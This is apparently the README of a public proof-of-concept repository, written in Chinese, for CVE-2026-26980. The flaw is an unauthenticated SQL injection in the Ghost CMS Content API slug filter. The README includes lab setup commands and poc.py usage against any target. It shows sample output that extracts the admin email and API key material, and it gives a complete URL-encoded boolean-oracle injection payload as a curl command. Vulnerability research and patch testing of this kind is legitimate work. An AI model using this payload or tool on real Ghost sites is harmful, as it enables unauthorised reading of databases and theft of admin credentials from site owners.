★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL 注入 PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 是 TryGhost Ghost CMS Content API 中的一个未认证 SQL 注入漏洞。当处理 slug:[...] 排序时,可通过公开的 Content API 过滤器处理逻辑访问到该漏洞路径。
本 PoC 构建了一个受控的 Ghost 6.19.0 实验环境,并演示了如何将公开的 Content API 请求转化为基于布尔的数据库读取原语。
| 产品 | 受影响版本 | 修复版本 | 漏洞类型 |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL 注入 |
实验环境使用 Ghost 6.19.0。
使用 Docker 构建并运行存在漏洞的 Ghost CMS 环境:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
示例:
http://127.0.0.1:9102/
实验环境在端口 9102 上运行一个真实的存在漏洞的 Ghost 6.19.0 实例。
实验环境的 Content API 密钥为:
EQSTLab299
CVE-2026-26980:TryGhost Ghost CMS Content API SQL 注入漏洞
描述:TryGhost Ghost CMS 在 6.19.1 之前存在一个 SQL 注入漏洞,拥有公开 Content API 密钥的未认证攻击者可通过 Content API 的 filter 参数读取任意数据库值。该问题出现在 slug:[...] 过滤器排序路径中,用户控制的 slug 值被插入到原始 SQL 中,而未进行正确的参数绑定。
Ghost Content API 密钥按设计通常会通过主题、搜索、门户或前端 JavaScript 暴露给浏览器。这意味着无需 Ghost Admin 认证即可访问到该漏洞路径。
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
可选的自定义 Content API 密钥:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
[Target] 示例:http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
公开的 PoC 通过提取实验环境安全的数据库元数据和 Ghost API 密钥材料来演示数据库读取影响。它不会打印挑战 flag。
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
该漏洞逻辑存在于 Ghost Content API 针对 slug:[...] 过滤器的输入序列化路径中。Ghost 支持列表式 slug 过滤器,并通过生成 ORDER BY CASE 表达式来保留请求的 slug 顺序。
在受影响版本中,用户控制的 slug 值被插入到 SQL 片段中。简化的漏洞模式如下:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
由于 slug 由攻击者控制,且未经参数绑定即被插入到 SQL 字符串中,精心构造的 Content API 过滤器可以突破预期的比较并注入额外的 SQL 逻辑。
实验 PoC 使用两个公开标签 bacon 和 chorizo 作为可观察的布尔预言机。
bacon 排在前面。chorizo 排在前面。通过对不同的 SQL 条件重复此测试,PoC 可以逐字符推断数据库值。
使用 curl 进行布尔预言机检查:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
根本原因是从用户控制的 slug 值不安全地构造 SQL ORDER BY CASE 片段。漏洞代码试图保留 Content API 响应顺序,但将解析后的 NQL 过滤器值视为可信的 SQL 文本。
稳健的修复必须:
Ghost 在 6.19.1 中通过将原始插值替换为参数化查询绑定修复了此问题。
这是一个 CWE-89:SQL 命令中使用的特殊元素的不当中和 问题。
由于 Ghost Content API 按设计是公开的,此漏洞可允许未认证攻击者通过公开的内容端点创建数据库读取原语。根据数据库内容和权限,攻击者可能能够:
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
本实验运行的是真实的存在漏洞的 Ghost 6.19.0 实例,而非最小化的模拟服务器。
实验预置了:
EQSTLab299bacon、chorizo公开的 poc.py 专为演示视频和公开技术文章设计。它展示了 SQL 注入影响,但不会打印挑战 flag。
docker stop cve-2026-26980
本仓库并非旨在作为 CVE-2026-26980 的 SQL 注入漏洞利用工具。本项目的目的是帮助人们了解此漏洞,或许还可以测试他们自己的应用程序。
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980